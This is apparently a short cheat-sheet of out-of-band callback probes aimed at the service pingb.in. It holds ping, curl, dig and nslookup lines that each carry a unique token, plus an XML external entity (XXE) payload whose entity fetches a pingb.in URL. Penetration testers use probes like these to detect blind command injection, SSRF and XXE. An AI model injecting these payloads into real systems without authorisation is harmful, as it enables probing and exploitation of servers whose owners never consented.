$ ping -c1 -p 00b3fad1726e6c24aa690485c8e54b00 pingb.in
$ curl pingb.in/p/b3fad1726e6c24aa690485c8e54b
$ dig b3fad1726e6c24aa690485c8e54b @pingb.in
$ dig b3fad1726e6c24aa690485c8e54b.ns.pingb.in
C:\> nslookup b3fad1726e6c24aa690485c8e54b pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/b3fad1726e6c24aa690485c8e54b">]> <foo>&xxe;</foo>